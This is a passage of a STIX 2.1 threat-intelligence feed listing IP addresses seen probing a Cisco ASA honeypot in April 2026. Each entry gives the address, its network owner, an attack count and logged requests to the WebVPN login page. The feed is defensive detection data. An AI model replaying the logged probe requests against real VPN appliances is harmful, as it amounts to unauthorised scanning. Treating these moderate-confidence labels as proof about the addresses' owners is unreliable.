      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T11:04:29.277Z",
          "last_seen": "2026-04-24T09:52:30.079Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7f6d0eb4-6745-4b30-b53b-20dd18e0f095",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T10:45:21.019Z",
          "last_seen": "2026-04-29T20:18:16.795Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8e5396bd-5c26-4f66-b3b5-391ca4a5c76c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T11:01:37.929Z",
          "last_seen": "2026-04-08T19:24:53.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--71dd1c1b-67a0-4cb3-949f-463752e2832b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T10:45:52.429Z",
          "last_seen": "2026-04-27T21:17:12.348Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--155fd249-1e30-4f49-83ca-f77d7d4802c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T10:24:24.295Z",
          "last_seen": "2026-04-29T20:05:42.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--dd12d266-24ab-4bb3-b91b-f82074bfccf6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T11:04:20.435Z",
          "last_seen": "2026-04-08T13:31:05.538Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--038ba246-8780-4082-8f46-f5835c912d38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T10:39:27.729Z",
          "last_seen": "2026-04-08T17:49:12.732Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3eb49efa-0671-409d-9ccf-754e5218516a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T10:27:20.140Z",
          "last_seen": "2026-04-30T05:28:25.114Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2c269988-854f-423a-9c53-319c507a3f44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-08T10:57:17.421Z",
          "last_seen": "2026-04-30T01:10:46.396Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b96b7a03-793b-4920-a459-931d9ce172f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-08T11:14:59.044Z",
          "last_seen": "2026-04-30T06:02:32.138Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--afb71d5d-a113-4232-9f63-51e4090eb28f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:19:43.200Z",
          "last_seen": "2026-04-23T13:13:48.929Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f4293a16-32b3-4a63-a60c-2c44a260b866",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T10:32:23.388Z",
          "last_seen": "2026-04-23T16:36:15.914Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--991d03df-4d15-4794-9b26-dde5ee810519",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:37:37.312Z",
          "last_seen": "2026-04-30T00:36:01.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--d7480d6b-7963-41c1-a1c9-a1a358480f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T12:17:13.655Z",
          "last_seen": "2026-04-23T10:07:54.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9a9d6a81-ed86-4ed5-a9ab-9ec71bb392c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:40:48.428Z",
          "last_seen": "2026-04-19T00:02:06.036Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--769454fc-0d5a-4aff-b125-287be035e46f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T12:05:41.804Z",
          "last_seen": "2026-04-11T08:45:23.293Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--38553056-6e38-4275-aa08-5ad6a1dafb22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:33:14.840Z",
          "last_seen": "2026-04-27T13:02:07.144Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8840d30-cb97-466c-99f8-5167d6faa3b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T11:58:41.340Z",
          "last_seen": "2026-04-25T02:07:41.221Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4f120c92-15de-4d7f-8211-5edf8abfa85a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T11:33:23.690Z",
          "last_seen": "2026-04-08T11:50:05.524Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5de4edd0-90ca-40e0-aab4-1e9edf0fa105",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T12:14:38.525Z",
          "last_seen": "2026-04-25T15:07:42.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--060d372e-1287-4721-aa87-e1c89a486e69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
